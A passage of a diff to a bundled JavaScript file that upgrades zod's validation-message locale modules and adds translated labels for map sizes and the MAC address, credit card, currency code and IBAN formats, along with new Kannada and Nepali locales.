currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -53867,17 +55438,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53903,12 +55475,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -53976,17 +55552,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54012,12 +55589,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -54084,17 +55665,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54120,12 +55702,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -54197,17 +55783,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54233,12 +55820,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -54308,22 +55899,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54349,12 +56057,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -54425,11 +56137,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -54443,7 +56155,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -54544,12 +56256,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -54629,17 +56345,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54665,12 +56382,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -54739,17 +56460,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54775,12 +56497,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -54847,17 +56573,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = 